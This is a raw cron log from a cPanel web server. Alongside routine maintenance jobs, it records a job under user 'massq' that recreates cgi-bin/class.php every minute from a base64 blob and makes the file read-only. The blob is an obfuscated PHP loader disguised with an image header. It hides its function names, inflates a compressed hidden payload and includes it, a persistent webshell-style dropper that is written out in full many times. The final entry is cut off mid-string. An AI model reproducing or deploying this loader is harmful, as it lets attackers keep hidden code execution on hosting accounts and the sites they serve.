Aug 30 09:05:01 server CROND[24078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:05:01 server CROND[24079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:05:01 server CROND[24082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:05:01 server CROND[24086]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:05:01 server CROND[24083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:05:01 server CROND[24088]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:05:01 server CROND[24085]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 09:05:01 server CROND[24087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:06:01 server CROND[25024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:06:01 server CROND[25025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:06:01 server CROND[25026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:07:01 server CROND[25408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:07:01 server CROND[25409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:07:01 server CROND[25410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:08:01 server CROND[25797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:08:01 server CROND[25798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:08:01 server CROND[25799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:09:01 server CROND[26226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:09:01 server CROND[26227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:09:01 server CROND[26228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:09:01 server CROND[26229]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 09:10:01 server CROND[26713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:10:01 server CROND[26714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:10:01 server CROND[26715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:10:01 server CROND[26719]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:10:01 server CROND[26717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:10:01 server CROND[26720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:10:01 server CROND[26718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:10:01 server CROND[26721]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:11:01 server CROND[27645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:11:01 server CROND[27646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:11:01 server CROND[27648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:12:01 server CROND[28026]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 09:12:01 server CROND[28027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:12:01 server CROND[28028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:12:01 server CROND[28029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:13:01 server CROND[28413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:13:01 server CROND[28414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:13:01 server CROND[28415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:14:01 server CROND[28814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:14:01 server CROND[28815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:14:01 server CROND[28816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:15:01 server CROND[29251]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:15:01 server CROND[29250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:15:01 server CROND[29254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:15:01 server CROND[29256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:15:01 server CROND[29258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:15:01 server CROND[29262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:15:01 server CROND[29261]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 09:15:01 server CROND[29257]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:16:01 server CROND[30101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:16:01 server CROND[30100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:16:01 server CROND[30102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQ